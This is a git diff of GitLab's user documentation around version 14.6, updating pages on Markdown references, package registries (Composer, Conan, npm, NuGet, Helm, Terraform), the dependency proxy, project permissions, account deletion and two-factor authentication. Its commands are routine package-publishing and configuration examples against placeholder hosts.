@@ -554,6 +554,16 @@ In addition to this, links to some objects are also recognized and formatted. So
- The issues designs tab: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs"`, which are rendered as `#1234 (designs)`.
- Links to individual designs: `"https://gitlab.com/gitlab-org/gitlab/-/issues/1234/designs/layout.png"`, which are rendered as `#1234[layout.png]`.
+### Show the issue, merge request, or epic title in the reference
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15694) in GitLab 14.6.
+
+To include the title in the rendered link of an issue, merge request, or epic, add a plus (`+`)
+at the end of the reference. For example, a reference like `#123+` is rendered as
+`The issue title (#123)`.
+
+URL references like `https://gitlab.com/gitlab-org/gitlab/-/issues/1234+` are also expanded.
+
### Embedding metrics in GitLab Flavored Markdown
Metric charts can be embedded in GitLab Flavored Markdown. Read
@@ -988,6 +998,8 @@ Here's a sample audio clip:
### Inline HTML
+> Allowing `rel="license"` [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20857) in GitLab 14.6.
+
To see the second example of Markdown rendered in HTML,
[view it in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#inline-html).
@@ -996,6 +1008,7 @@ You can also use raw HTML in your Markdown, and it usually works pretty well.
See the documentation for HTML::Pipeline's [SanitizationFilter](https://github.com/jch/html-pipeline/blob/v2.12.3/lib/html/pipeline/sanitization_filter.rb#L42)
class for the list of allowed HTML tags and attributes. In addition to the default
`SanitizationFilter` allowlist, GitLab allows `span`, `abbr`, `details` and `summary` elements.
+`rel="license"` is allowed on links to support the [Rel-License microformat](https://microformats.org/wiki/rel-license) and license attribution.
```html
<dl>
diff --git a/doc/user/operations_dashboard/index.md b/doc/user/operations_dashboard/index.md
index 29ca3a48e70..47c41e85345 100644
--- a/doc/user/operations_dashboard/index.md
+++ b/doc/user/operations_dashboard/index.md
@@ -6,8 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Operations Dashboard **(PREMIUM)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5781) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.5.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/9218) to [GitLab Premium](https://about.gitlab.com/pricing/) in 11.10.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5781) in GitLab 11.5.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/9218) from GitLab Ultimate to GitLab Premium in 11.10.
The Operations Dashboard provides a summary of each project's operational health,
including pipeline and alert status.
diff --git a/doc/user/packages/composer_repository/index.md b/doc/user/packages/composer_repository/index.md
index 7861258e23f..23bd140d4b7 100644
--- a/doc/user/packages/composer_repository/index.md
+++ b/doc/user/packages/composer_repository/index.md
@@ -9,6 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15886) in GitLab 13.2.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) from GitLab Premium to GitLab Free in 13.3.
> - Support for Composer 2.0 [added](https://gitlab.com/gitlab-org/gitlab/-/issues/259840) in GitLab 13.10.
+> - Deploy token support [added](https://gitlab.com/gitlab-org/gitlab/-/issues/240897) in GitLab 14.6.
WARNING:
The Composer package registry for GitLab is under development and isn't ready for production use due to
@@ -88,13 +89,12 @@ Prerequisites:
- A valid `composer.json` file.
- The Packages feature is enabled in a GitLab repository.
- The project ID, which is on the project's home page.
-- A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `api`.
+- One of the following token types:
+ - A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `api`.
+ - A [deploy token](../../project/deploy_tokens/index.md)
+ with the scope set to `write_package_registry`.
- NOTE:
- [Deploy tokens](../../project/deploy_tokens/index.md) are
- [not yet supported](https://gitlab.com/gitlab-org/gitlab/-/issues/240897) for use with Composer.
-
-To publish the package:
+To publish the package with a personal access token:
- Send a `POST` request to the [Packages API](../../../api/packages.md).
@@ -109,6 +109,21 @@ To publish the package:
- `<tag>` is the Git tag name of the version you want to publish.
To publish a branch, use `branch=<branch>` instead of `tag=<tag>`.
+To publish the package with a deploy token:
+
+- Send a `POST` request to the [Packages API](../../../api/packages.md).
+
+ For example, you can use `curl`:
+
+ ```shell
+ curl --data tag=<tag> --header "Deploy-Token: <deploy-token>" "https://gitlab.example.com/api/v4/projects/<project_id>/packages/composer"
+ ```
+
+ - `<deploy-token>` is your deploy token
+ - `<project_id>` is your project ID.
+ - `<tag>` is the Git tag name of the version you want to publish.
+ To publish a branch, use `branch=<branch>` instead of `tag=<tag>`.
+
You can view the published package by going to **Packages & Registries > Package Registry** and
selecting the **Composer** tab.
@@ -159,11 +174,11 @@ Prerequisites:
- A package in the Package Registry.
- The group ID, which is on the group's home page.
-- A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to, at minimum, `read_api`.
-
- NOTE:
- [Deploy tokens](../../project/deploy_tokens/index.md) are
- [not yet supported](https://gitlab.com/gitlab-org/gitlab/-/issues/240897) for use with Composer.
+- One of the following token types:
+ - A [personal access token](../../../user/profile/personal_access_tokens.md)
+ with the scope set to, at minimum, `api`.
+ - A [deploy token](../../project/deploy_tokens/index.md)
+ with the scope set to `read_package_registry`, `write_package_registry`, or both.
To install a package:
@@ -213,6 +228,8 @@ To install a package:
1. Create an `auth.json` file with your GitLab credentials:
+ Using a personal access token:
+
```shell
composer config gitlab-token.<DOMAIN-NAME> <personal_access_token>
```
@@ -229,6 +246,26 @@ To install a package:
}
```
+ Using a deploy token:
+
+ ```shell
+ composer config gitlab-token.<DOMAIN-NAME> <deploy_token_username> <deploy_token>
+ ```
+
+ Result in the `auth.json` file:
+
+ ```json
+ {
+ ...
+ "gitlab-token": {
+ "<DOMAIN-NAME>": {
+ "username": "<deploy_token_username>",
+ "token": "<deploy_token>",
+ ...
+ }
+ }
+ ```
+
You can unset this with the command:
```shell
@@ -236,7 +273,8 @@ To install a package:
```
- `<DOMAIN-NAME>` is the GitLab instance URL `gitlab.com` or `gitlab.example.com`.
- - `<personal_access_token>` with the scope set to `read_api`.
+ - `<personal_access_token>` with the scope set to `api`, or `<deploy_token>` with the scope set
+ to `read_package_registry` and/or `write_package_registry`.
1. If you are on a GitLab self-managed instance, add `gitlab-domains` to `composer.json`.
@@ -298,10 +336,19 @@ To install a package:
WARNING:
Never commit the `auth.json` file to your repository. To install packages from a CI/CD job,
-consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages.md#satis) tool with your personal access token
+consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages.md#satis) tool with your access token
stored in a [GitLab CI/CD variable](../../../ci/variables/index.md) or in
[HashiCorp Vault](../../../ci/secrets/index.md).
+### Working with Deploy Tokens
+
+Although Composer packages are accessed at the group level, a group or project deploy token can be
+used to access them:
+
+- A group deploy token has access to all packages published to projects in that group or its
+ subgroups.
+- A project deploy token only has access to packages published to that particular project.
+
## Supported CLI commands
The GitLab Composer repository supports the following Composer CLI commands:
diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md
index 0f32f68d250..731ba04a9f7 100644
--- a/doc/user/packages/conan_repository/index.md
+++ b/doc/user/packages/conan_repository/index.md
@@ -103,6 +103,29 @@ A package with the recipe `Hello/0.1@mycompany/beta` is created.
For more details about creating and managing Conan packages, see the
[Conan documentation](https://docs.conan.io/en/latest/creating_packages.html).
+#### Package without a username and a channel
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345055) in GitLab 14.6.
+
+Even though they are [recommended](https://docs.conan.io/en/latest/reference/conanfile/attributes.html#user-channel)
+to distinguish your package from a similarly named existing package,
+the username and channel are not mandatory fields for a Conan package.
+
+You can create a package without a username and channel by removing them from
+the `create` command:
+
+```shell
+conan create .
+```
+
+The username _and_ the channel must be blank. If only one of these fields is
+blank, the request is rejected.
+
+NOTE:
+Empty usernames and channels can only be used if you use a [project remote](#add-a-remote-for-your-project).
+If you use an [instance remote](#add-a-remote-for-your-instance), the username
+and the channel must be set.
+
## Add the Package Registry as a Conan remote
To run `conan` commands, you must add the Package Registry as a Conan remote for
diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md
index c9cdc8643f4..9497dd1625b 100644
--- a/doc/user/packages/container_registry/index.md
+++ b/doc/user/packages/container_registry/index.md
@@ -370,10 +370,17 @@ WARNING:
Deleting images is a destructive action and can't be undone. To restore
a deleted image, you must rebuild and re-upload it.
-NOTE:
-Administrators should review how to
-[garbage collect](../../../administration/packages/container_registry.md#container-registry-garbage-collection)
-the deleted images.
+On self-managed instances, deleting an image doesn't free up storage space - it only marks the image
+as eligible for deletion. To actually delete images and recover storage space, in case they're
+unreferenced, administrators must run [garbage collection](../../../administration/packages/container_registry.md#container-registry-garbage-collection).
+
+On GitLab.com, the latest version of the Container Registry includes an automatic online garbage
+collector. For more information, see [this blog post](https://about.gitlab.com/blog/2021/10/25/gitlab-com-container-registry-update/).
+This is an instance-wide feature, rolling out gradually to a subset of the user base, so some new image repositories created
+from GitLab 14.5 onwards are served by this new version of the Container Registry. In this new
+version of the Container Registry, layers that aren't referenced by any image manifest, and image
+manifests that have no tags and aren't referenced by another manifest (such as multi-architecture
+images), are automatically scheduled for deletion after 24 hours if left unreferenced.
### Delete images from within GitLab
diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md
index fbd1cb84580..8b34634318c 100644
--- a/doc/user/packages/dependency_proxy/index.md
+++ b/doc/user/packages/dependency_proxy/index.md
@@ -89,6 +89,10 @@ You can authenticate using:
- A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `read_registry` and `write_registry`.
- A [group deploy token](../../../user/project/deploy_tokens/index.md#group-deploy-token) with the scope set to `read_registry` and `write_registry`.
+Users accessing the Dependency Proxy with a personal access token or username and password require
+at least [Guest membership](../../permissions.md#group-members-permissions)
+to the group they pull images from.
+
#### SAML SSO
When [SSO enforcement](../../group/saml_sso/index.md#sso-enforcement)
@@ -200,7 +204,7 @@ on the GitLab server. The next time you pull the same image, GitLab gets the lat
information about the image from Docker Hub, but serves the existing blobs
from the GitLab server.
-## Clear the Dependency Proxy cache
+## Reduce storage usage
Blobs are kept forever on the GitLab server, and there is no hard limit on how much data can be
stored.
@@ -215,6 +219,16 @@ If you clear the cache, the next time a pipeline runs it must pull an image or t
### Cleanup policies
+#### Enable cleanup policies from within GitLab
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/340777) in GitLab 14.6
+
+You can enable an automatic time-to-live (TTL) policy for the Dependency Proxy from the user
+interface. To do this, navigate to your group's **Settings > Packages & Registries > Dependency Proxy**
+and enable the setting to automatically clear items from the cache after 90 days.
+
+#### Enable cleanup policies with GraphQL
+
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294187) in GitLab 14.4.
The cleanup policy is a scheduled job you can use to clear cached images that are no longer used,
@@ -245,8 +259,7 @@ mutation {
```
See the [Getting started with GraphQL](../../../api/graphql/getting_started.md)
-guide to learn how to make GraphQL queries. Support for enabling and configuring cleanup policies in
-the UI is tracked in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/340777).
+guide to learn how to make GraphQL queries.
When the policy is initially enabled, the default TTL setting is 90 days. Once enabled, stale
dependency proxy files are queued for deletion each day. Deletion may not occur right away due to
diff --git a/doc/user/packages/go_proxy/index.md b/doc/user/packages/go_proxy/index.md
index 1cf3132489a..29455fdbb35 100644
--- a/doc/user/packages/go_proxy/index.md
+++ b/doc/user/packages/go_proxy/index.md
@@ -144,8 +144,8 @@ If you're unfamiliar with managing dependencies in Go, or Go in general, review
the following documentation:
- [Dependency Management in Go](../../../development/go_guide/dependencies.md)
-- [Go Modules Reference](https://golang.org/ref/mod)
-- [Documentation (`golang.org`)](https://golang.org/doc/)
+- [Go Modules Reference](https://go.dev/ref/mod)
+- [Documentation (`golang.org`)](https://go.dev/doc/)
- [Learn (`go.dev/learn`)](https://go.dev/learn/)
### Set environment variables
diff --git a/doc/user/packages/helm_repository/index.md b/doc/user/packages/helm_repository/index.md
index c88fba83dc7..488345965f9 100644
--- a/doc/user/packages/helm_repository/index.md
+++ b/doc/user/packages/helm_repository/index.md
@@ -36,15 +36,11 @@ To authenticate to the Helm repository, you need either:
## Publish a package
-WARNING:
-The `helm-push` command is broken in Helm 3.7. For more information, see the [open issue](https://github.com/chartmuseum/helm-push/issues/109)
-in the Chart Museum project.
-
NOTE:
You can publish Helm charts with duplicate names or versions. If duplicates exist, GitLab always
returns the chart with the latest version.
-Once built, a chart can be uploaded to the desired channel with `curl` or `helm-push`:
+Once built, a chart can be uploaded to the desired channel with `curl` or `helm cm-push`:
- With `curl`:
@@ -61,11 +57,11 @@ Once built, a chart can be uploaded to the desired channel with `curl` or `helm-
[URL-encoded](../../../api/index.md#namespaced-path-encoding) path of the project (like `group%2Fproject`).
- `<channel>`: the name of the channel (like `stable`).
-- With the [`helm-push`](https://github.com/chartmuseum/helm-push/#readme) plugin:
+- With the [`helm cm-push`](https://github.com/chartmuseum/helm-push/#readme) plugin:
```shell
helm repo add --username <username> --password <access_token> project-1 https://gitlab.example.com/api/v4/projects/<project_id>/packages/helm/<channel>
- helm push mychart-0.1.0.tgz project-1
+ helm cm-push mychart-0.1.0.tgz project-1
```
- `<username>`: the GitLab username or the deploy token username.
@@ -135,12 +131,6 @@ To fix the error, use the correct version syntax and upload the chart again.
### `helm push` results in an error
-The `helm push` plugin is not yet supported in Helm 3.7. If you try to push a chart using
-`helm push`, it produces the following error:
-
-```plaintext
-Error: this feature has been marked as experimental and is not enabled by default. Please set HELM_EXPERIMENTAL_OCI=1 in your environment to use this feature
-```
-
-To continue to use the plugin, you can push an image using [curl](#use-cicd-to-publish-a-helm-package)
-or downgrade your version of Helm.
+Helm 3.7 introduced a breaking change for the `helm-push` plugin. You can update the
+[Chart Museum plugin](https://github.com/chartmuseum/helm-push/#readme)
+to use `helm cm-push`.
diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md
index 03209da7ac8..1086de1fa92 100644
--- a/doc/user/packages/npm_registry/index.md
+++ b/doc/user/packages/npm_registry/index.md
@@ -17,6 +17,10 @@ Only [scoped](https://docs.npmjs.com/misc/scope/) packages are supported.
For documentation of the specific API endpoints that the npm package manager
client uses, see the [npm API documentation](../../../api/packages/npm.md).
+WARNING:
+Never hardcode GitLab tokens (or any tokens) directly in `.npmrc` files or any other files that can
+be committed to a repository.
+
## Build an npm package
This section covers how to install npm or Yarn and build a package for your
@@ -430,14 +434,16 @@ You can route package requests to organizations and users outside of GitLab.
To do this, add lines to your `.npmrc` file. Replace `my-org` with the namespace or group that owns your project's repository,
and use your organization's URL. The name is case-sensitive and must match the name of your group or namespace exactly.
+Use environment variables to set up your tokens: `export MY_TOKEN="<your token>"`.
+
```shell
@foo:registry=https://gitlab.example.com/api/v4/packages/npm/
-//gitlab.example.com/api/v4/packages/npm/:_authToken= "<your_token>"
-//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken= "<your_token>"
+//gitlab.example.com/api/v4/packages/npm/:_authToken=${MY_TOKEN}
+//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken=${MY_TOKEN}
@my-other-org:registry=https://gitlab.example.com/api/v4/packages/npm/
-//gitlab.example.com/api/v4/packages/npm/:_authToken= "<your_token>"
-//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken= "<your_token>"
+//gitlab.example.com/api/v4/packages/npm/:_authToken=${MY_TOKEN}
+//gitlab.example.com/api/v4/projects/<your_project_id>/packages/npm/:_authToken=${MY_TOKEN}
```
### npm metadata
diff --git a/doc/user/packages/nuget_repository/index.md b/doc/user/packages/nuget_repository/index.md
index 98cccd72425..37b6404d487 100644
--- a/doc/user/packages/nuget_repository/index.md
+++ b/doc/user/packages/nuget_repository/index.md
@@ -107,6 +107,7 @@ You can now add a new source to NuGet with:
- [NuGet CLI](#add-a-source-with-the-nuget-cli)
- [Visual Studio](#add-a-source-with-visual-studio)
- [.NET CLI](#add-a-source-with-the-net-cli)
+- [Configuration file](#add-a-source-with-a-configuration-file)
### Add a source with the NuGet CLI
@@ -215,6 +216,51 @@ If you get a warning, ensure that the **Location**, **Username**, and
A project-level endpoint is required to publish NuGet packages to the Package Registry.
A project-level endpoint is also required to install NuGet packages from a project.
+To use the [project-level](#use-the-gitlab-endpoint-for-nuget-packages)
+NuGet endpoint, add the Package Registry as a source with `nuget`:
+
+```shell
+dotnet nuget add source "https://gitlab.example.com/api/v4/projects/<your_project_id>/packages/nuget/index.json" --name <source_name> --username <gitlab_username or deploy_token_username> --password <gitlab_personal_access_token or deploy_token>
+```
+
+- `<source_name>` is the desired source name.
+- `--store-password-in-clear-text` might be necessary depending on your operating system.
+
+For example:
+
+```shell
+dotnet nuget add source "https://gitlab.example.com/api/v4/projects/10/packages/nuget/index.json" --name gitlab --username carol --password 12345678asdf
+```
+
+#### Group-level endpoint
+
+To install a NuGet package from a group, use a group-level endpoint.
+
+To use the [group-level](#use-the-gitlab-endpoint-for-nuget-packages)
+NuGet endpoint, add the Package Registry as a source with `nuget`:
+
+```shell
+dotnet nuget add source "https://gitlab.example.com/api/v4/groups/<your_group_id>/-/packages/nuget/index.json" --name <source_name> --username <gitlab_username or deploy_token_username> --password <gitlab_personal_access_token or deploy_token>
+```
+
+- `<source_name>` is the desired source name.
+- `--store-password-in-clear-text` might be necessary depending on your operating system.
+
+For example:
+
+```shell
+dotnet nuget add source "https://gitlab.example.com/api/v4/groups/23/-/packages/nuget/index.json" --name gitlab --username carol --password 12345678asdf
+```
+
+### Add a source with a configuration file
+
+#### Project-level endpoint
+
+A project-level endpoint is required to:
+
+- Publish NuGet packages to the Package Registry.
+- Install NuGet packages from a project.
+
To use the [project-level](#use-the-gitlab-endpoint-for-nuget-packages) Package Registry as a source for .NET:
1. In the root of your project, create a file named `nuget.config`.
@@ -229,13 +275,20 @@ To use the [project-level](#use-the-gitlab-endpoint-for-nuget-packages) Package
</packageSources>
<packageSourceCredentials>
<gitlab>
- <add key="Username" value="<gitlab_username or deploy_token_username>" />
- <add key="ClearTextPassword" value="<gitlab_personal_access_token or deploy_token>" />
+ <add key="Username" value="%GITLAB_PACKAGE_REGISTRY_USERNAME%" />
+ <add key="ClearTextPassword" value="%GITLAB_PACKAGE_REGISTRY_PASSWORD%" />
</gitlab>
</packageSourceCredentials>
</configuration>
```
+1. Configure the necessary environment variables:
+
+ ```shell
+ export GITLAB_PACKAGE_REGISTRY_USERNAME=<gitlab_username or deploy_token_username>
+ export GITLAB_PACKAGE_REGISTRY_PASSWORD=<gitlab_personal_access_token or deploy_token>
+ ```
+
#### Group-level endpoint
To install a package from a group, use a group-level endpoint.
@@ -254,13 +307,20 @@ To use the [group-level](#use-the-gitlab-endpoint-for-nuget-packages) Package Re
</packageSources>
<packageSourceCredentials>
<gitlab>
- <add key="Username" value="<gitlab_username or deploy_token_username>" />
- <add key="ClearTextPassword" value="<gitlab_personal_access_token or deploy_token>" />
+ <add key="Username" value="%GITLAB_PACKAGE_REGISTRY_USERNAME%" />
+ <add key="ClearTextPassword" value="%GITLAB_PACKAGE_REGISTRY_PASSWORD%" />
</gitlab>
</packageSourceCredentials>
</configuration>
```
+1. Configure the necessary environment variables:
+
+ ```shell
+ export GITLAB_PACKAGE_REGISTRY_USERNAME=<gitlab_username or deploy_token_username>
+ export GITLAB_PACKAGE_REGISTRY_PASSWORD=<gitlab_personal_access_token or deploy_token>
+ ```
+
## Publish a NuGet package
Prerequisite:
diff --git a/doc/user/packages/package_registry/index.md b/doc/user/packages/package_registry/index.md
index 3204ac07d6a..28e1571b4f8 100644
--- a/doc/user/packages/package_registry/index.md
+++ b/doc/user/packages/package_registry/index.md
@@ -147,7 +147,7 @@ The Package Registry supports the following formats:
| [Go](../go_proxy/index.md) | 13.1+ | [Alpha](https://gitlab.com/groups/gitlab-org/-/epics/3043) |
| [Ruby gems](../rubygems_registry/index.md) | 13.10+ | [Alpha](https://gitlab.com/groups/gitlab-org/-/epics/3200) |
-[Status](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga):
+[Status](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga):
- Alpha: behind a feature flag and not officially supported.
- Beta: several known issues that may prevent expected use.
diff --git a/doc/user/packages/terraform_module_registry/index.md b/doc/user/packages/terraform_module_registry/index.md
index 7f101adccad..b8dc071fc30 100644
--- a/doc/user/packages/terraform_module_registry/index.md
+++ b/doc/user/packages/terraform_module_registry/index.md
@@ -29,15 +29,15 @@ Prerequisites:
- You need to [authenticate with the API](../../../api/index.md#authentication). If authenticating with a deploy token, it must be configured with the `write_package_registry` scope.
```plaintext
-PUT /projects/:id/packages/terraform/modules/:module_name/:module_system/:module_version/file
+PUT /projects/:id/packages/terraform/modules/:module-name/:module-system/:module-version/file
```
| Attribute | Type | Required | Description |
| -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/index.md#namespaced-path-encoding). |
-| `module_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), or hyphens (`-`) and cannot exceed 64 characters.
-| `module_system` | string | yes | The package system. It can contain only lowercase letters (`a-z`) and numbers (`0-9`), and cannot exceed 64 characters.
-| `module_version` | string | yes | The package version. It must be valid according to the [Semantic Versioning Specification](https://semver.org/).
+| `module-name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), or hyphens (`-`) and cannot exceed 64 characters.
+| `module-system` | string | yes | The package system. It can contain only lowercase letters (`a-z`) and numbers (`0-9`), and cannot exceed 64 characters.
+| `module-version` | string | yes | The package version. It must be valid according to the [Semantic Versioning Specification](https://semver.org/).
Provide the file content in the request body.
@@ -97,7 +97,7 @@ You can then reference your Terraform Module from a downstream Terraform project
```plaintext
module "<module>" {
- source = "gitlab.com/<namespace>/<module_name>/<module_system>"
+ source = "gitlab.com/<namespace>/<module-name>/<module-system>"
}
```
diff --git a/doc/user/permissions.md b/doc/user/permissions.md
index eb79d5099eb..4336c58b56c 100644
--- a/doc/user/permissions.md
+++ b/doc/user/permissions.md
@@ -103,6 +103,7 @@ The following table lists project permissions available for each role:
| [Issues](project/issues/index.md):<br>View related issues | ✓ | ✓ | ✓ | ✓ | ✓ |
| [Issues](project/issues/index.md):<br>Set weight | ✓ (*16*) | ✓ | ✓ | ✓ | ✓ |
| [Issues](project/issues/index.md):<br>View [confidential issues](project/issues/confidential_issues.md) | (*2*) | ✓ | ✓ | ✓ | ✓ |
+| [Issues](project/issues/index.md):<br>Close / reopen | | ✓ | ✓ | ✓ | ✓ |
| [Issues](project/issues/index.md):<br>Lock threads | | ✓ | ✓ | ✓ | ✓ |
| [Issues](project/issues/index.md):<br>Manage related issues | | ✓ | ✓ | ✓ | ✓ |
| [Issues](project/issues/index.md):<br>Manage tracker | | ✓ | ✓ | ✓ | ✓ |
@@ -119,7 +120,7 @@ The following table lists project permissions available for each role:
| [Merge requests](project/merge_requests/index.md):<br>Apply code change suggestions | | | ✓ | ✓ | ✓ |
| [Merge requests](project/merge_requests/index.md):<br>Approve (*9*) | | | ✓ | ✓ | ✓ |
| [Merge requests](project/merge_requests/index.md):<br>Assign | | | ✓ | ✓ | ✓ |
-| [Merge requests](project/merge_requests/index.md):<br>Create | | | ✓ | ✓ | ✓ |
+| [Merge requests](project/merge_requests/index.md):<br>Create (*18*) | | | ✓ | ✓ | ✓ |
| [Merge requests](project/merge_requests/index.md):<br>Add labels | | | ✓ | ✓ | ✓ |
| [Merge requests](project/merge_requests/index.md):<br>Lock threads | | | ✓ | ✓ | ✓ |
| [Merge requests](project/merge_requests/index.md):<br>Manage or accept | | | ✓ | ✓ | ✓ |
@@ -233,6 +234,7 @@ The following table lists project permissions available for each role:
1. Guest users can only set metadata (for example, labels, assignees, or milestones)
when creating an issue. They cannot change the metadata on existing issues.
1. In GitLab 14.5 or later, Guests are not allowed to [create incidents](../operations/incident_management/incidents.md#incident-creation).
+1. In projects that accept contributions from external members, users can create, edit, and close their own merge requests.
## Project features permissions
diff --git a/doc/user/profile/account/delete_account.md b/doc/user/profile/account/delete_account.md
index c555f5ca8cc..96415279de4 100644
--- a/doc/user/profile/account/delete_account.md
+++ b/doc/user/profile/account/delete_account.md
@@ -5,7 +5,7 @@ group: Access
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Deleting a User account
+# Deleting a User account **(FREE)**
Users can be deleted from a GitLab instance, either by:
@@ -24,7 +24,7 @@ As a user, to delete your own account:
1. On the left sidebar, select **Account**.
1. Select **Delete account**.
-## As an administrator
+## As an administrator **(FREE SELF)**
As an administrator, to delete a user account:
@@ -42,11 +42,12 @@ Using the **Delete user and contributions** option may result
in removing more data than intended. Please see [associated records](#associated-records)
below for additional details.
-## Associated Records
+### Associated records
-> - Introduced for issues in [GitLab 9.0](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7393).
-> - Introduced for merge requests, award emoji, notes, and abuse reports in [GitLab 9.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10467).
-> - Hard deletion from abuse reports and spam logs was introduced in [GitLab 9.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10273), and from the API in [GitLab 9.3](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/11853).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7393) for issues in GitLab 9.0.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10467) for merge requests, award emoji, notes, and abuse reports in GitLab 9.1.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/10273) hard deletion from abuse reports and spam logs in GitLab 9.1.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/11853) hard deletion from the API in GitLab 9.3.
There are two options for deleting users:
diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md
index e4e7e7b9c1a..343f8e328ba 100644
--- a/doc/user/profile/account/two_factor_authentication.md
+++ b/doc/user/profile/account/two_factor_authentication.md
@@ -20,8 +20,7 @@ password secret.
NOTE:
When you enable 2FA, don't forget to back up your [recovery codes](#recovery-codes)!
-In addition to time-based one time passwords (TOTP), GitLab supports U2F
-(universal 2nd factor) and WebAuthn (experimental) devices as the second factor
+In addition to time-based one time passwords (TOTP), GitLab supports WebAuthn devices as the second factor
of authentication. After being enabled, in addition to supplying your username
and password to sign in, you're prompted to activate your U2F / WebAuthn device
(usually by pressing a button on it) which performs secure authentication on
@@ -80,11 +79,11 @@ in a safe place.
### One-time password via FortiAuthenticator
-> - Introduced in [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/212312)
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212312) in GitLab 13.5.
> - It's deployed behind a feature flag, disabled by default.
> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-fortiauthenticator-integration).
-You can use FortiAuthenticator as an OTP provider in GitLab. Users must exist in
+You can use FortiAuthenticator as a one-time password (OTP) provider in GitLab. Users must exist in
both FortiAuthenticator and GitLab with the exact same username, and users must
have FortiToken configured in FortiAuthenticator.
@@ -154,7 +153,7 @@ Feature.enable(:forti_authenticator, User.find(<user ID>))
### One-time password via FortiToken Cloud
-> - Introduced in [GitLab 13.7](https://gitlab.com/gitlab-org/gitlab/-/issues/212313).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/212313) in GitLab 13.7.
> - It's deployed behind a feature flag, disabled by default.
> - It's disabled on GitLab.com.
> - It's not recommended for production use.
@@ -163,7 +162,7 @@ Feature.enable(:forti_authenticator, User.find(<user ID>))
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
-You can use FortiToken Cloud as an OTP provider in GitLab. Users must exist in
+You can use FortiToken Cloud as a one-time password (OTP) provider in GitLab. Users must exist in
both FortiToken Cloud and GitLab with the exact same username, and users must
have FortiToken configured in FortiToken Cloud.
@@ -269,11 +268,11 @@ Click on **Register U2F Device** to complete the process.
### WebAuthn device
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22506) in GitLab 13.4.
-> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-webauthn). **(FREE SELF)**
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22506) in GitLab 13.4 [with a flag](../../../administration/feature_flags.md) named `webauthn`. Disabled by default.
+> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/232671) in GitLab 14.6.
+
+FLAG:
+On self-managed GitLab, by default this feature is available. To disable the feature, ask an administrator to [disable the feature flag](../../../administration/feature_flags.md) named `webauthn`. If you disable the WebAuthn feature flag after WebAuthn devices have been registered, these devices are not usable until you re-enable this feature. On GitLab.com, this feature is available.
The WebAuthn workflow is [supported by](https://caniuse.com/#search=webauthn) the
following desktop browsers:
@@ -350,7 +349,7 @@ request, and you're automatically signed in.
### Sign in by using a WebAuthn device
In supported browsers you should be automatically prompted to activate your WebAuthn device
-(e.g. by touching/pressing its button) after entering your credentials.
+(for example, by touching or pressing its button) after entering your credentials.
A message displays, indicating that your device responded to the authentication
request and you're automatically signed in.
